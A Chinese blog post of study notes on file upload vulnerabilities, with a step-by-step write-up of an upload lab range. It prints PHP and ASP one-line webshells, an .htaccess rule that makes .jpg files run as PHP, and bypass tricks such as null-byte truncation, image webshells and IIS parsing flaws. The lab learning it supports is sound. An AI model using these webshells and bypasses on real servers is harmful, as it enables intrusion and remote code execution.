文件上传漏洞(配upload靶场wp)

文件上传小知识点

检测

前端检测:利用 JS 进行检测(等于没有检测)

后端检测:利用后端脚本进行检测

网站对上传文件的处理

获取上传文件的文件名、后缀

黑白名单

黑名单:不允许。。。

白名单:允许,有特权

文件 兼容文件
php php3、php4、php5、phtml
jsp jspx、jspf
asp asa、cer、aspx
exe exee

分布式配置文件.htaccess

Hypertext Access超文本入口,提供了针对目录改变配置的方法,在一个特定文档目录中放置一个包含一个或多个指令的文件,以作用与此目录及其所有子目录。

当该文件存在时,可以重新定义规则

它的功能有:文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态、禁止特定IP、只允许特定IP、禁止目录列表

其默认不开启

AddType application/x-httpd-php .jpg
//将 jpg 文件当作 php 文件来解析

命名为.htaccess

ren 1.txt 1.htaccess
//cmd命令

Windows文件流

::$DATA:这里利用了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,一个文件可以即存在另一个文件里(套娃)

NTFS会自动在文件后加1.txt::$DATA

00截断

(半双工通信)使用终止符00告诉对面通话结束

1.php(终止符).jpg <= 移动文件

上传 => 被移动 => 重命名

临时名字:$_FILES['uoload_file']['tmp_name']

00截断 对于 move_upload_file() 产生

GET => %00

POST => a => 61 -> 00 抓包替换

图片马绕过

由于它会检测图片的内容等信息,故不可伪造 php ,这时可以将一句话木马藏在图片里

保存一张图片和一句话木马

copy 原图片.jpg/b + 1.php 111.jpg

/b 的意思为以二进制读取

getimagesize

检测文件头

二次渲染

传上去的内容会被重新渲染

通过gif绕过,不会渲染动图的前几行代码

在第三行直接写一句话木马

条件竞争

文件可能先上传 -> 检测 -> 删除

在删除之前,让 php 写一个马(2.php),删除 1.php 后 2.php 依然存在

<?php file_put_contents('2.php','<?php eval($_REQUEST[8])?>')?>

文件解析漏洞

web 容器可以对任意后缀进行任意解析(设置后)

IIS => 扩展名 与 可执行文件路径对应

Windows server 2003 IIS 6.0 的.asa.cer.cdx 默认当做 .asp 处理

Windows server 2008 IIS 7.0

Windows server 2016 IIS 10

asp一句话木马<%eval request("a")%>

可以尝试:aspxaxd

IIS 6.0截断解析

1.asp;1.jpg 会被当作1.jpg上传,但会被Web容器当作1.asp解析

IIS 6.0 文件夹名影响

1.asp/1.jpg只要文件名为.asp,无论文件夹内是什么文件,都会被当作asp解析

CGI解析漏洞

Nginx默认是以CGI的方式支持PHP解析,Apache不会产生

PHP在运行时,保留了一个接口(如:9000),需要解析的文件转到9000端口

../1.jpg/.php会被交给PHP进行解析,但是.php文件不存在,PHP向上解析1.jpg

IIS 6.0 的报错信息会在左上角正常显示,提示返回等操作

这个漏洞在 IIS 7.0 7.5 也存在

wp

  • 0x00-简单前端绕过

    将一句话木马文件名改写为1.jpg;上传抓包,修改回1.php

传参8访问一下phpinfo();

菜刀连一下,得到flag

  • 0x01-后端类型检测

    同上,抓包改后缀

  • 0x02-黑名单绕过

    源码里看到禁止上传.asp.aspx.php.jsp后缀的文件,可以用phtml绕过

  • 0x03-分布式配置文件

    先上传1.jpg;在上传准备好的分布式配置文件对其规则进行修改(AddType application/x-httpd-php .jpg

规则已被修改,可以使用菜刀连接

  • 0x04-后缀名大小写绕过

  • 0x05-空格绕过

    抓包,在文件名后加空格

  • 0x06-点绕过

    抓包加 .

  • 0x07-Windows文件流绕过

    成功上传

  • 0x08-构造文件后缀绕过

    源码中先检测 . ,循环删除;再检测 ,循环删除

    可以构造.php. .,这样就会存在一个点无法被删除,造成点绕过

  • 0x09-双写绕过

    源码中将敏感文件名替换为空,可以双写绕过

  • 0x0A-00截断

    查看源码,发现可以GET传参,在1.php后加上%001.jpg构成00截断

  • 0x0B-00截断进阶

    在POST传参中不能使用 URL 编码,故在 1.php 后加上 a ,它对应的 hex 是 61 ,抓包将它对应的 61 改为 00 构成 00截断

  • 0x0C-图片马绕过

    copy 123.jpg/b + 1.php 1.jpg

使用 copy 命令生成图片马上传

下载后看一眼hex

  • 0x0D-getimagesize图片类型绕过

    生成.gif图片马

  • 0x0E-还是一个图片马

    上传图片马即可

  • 0x0F-二次渲染绕过

    将一句话木马写在gif第三行,绕过渲染

  • 0x10-条件竞争

    传一个1.php,抓包,设置为20线程

    访问生成页面,线程30,抓包,两个一起跑

    payload设置的大一点

  • 0x13-00截断

    传一句话木马,抓包改文件名1.phpa,在hex 里将 61改为00

  • 0x14-IIS 6.0解析漏洞

    合成asp的图片马<%eval request("a")%>

上传、抓包、改后缀.asa

上传成功

访问一下./a/image/asp.asa

连菜刀,脚本类型手动选择ASP

拿到flag

  • 0x15-IIS 6.0截断解析

    上传图片马222.asp;222.jpg

    拿到flag

  • 0x16-IIS 6.0 文件夹名影响

    将图片马保存在1.asp文件夹内,上传文件夹,图片马会被当作ASP解析

  • 0x17-CGI解析漏洞

访问这个图片,并在后面加上.php

拿到flag

posted @ 2021-12-28 15:41  1ta-chi  阅读(171)  评论(0)    收藏  举报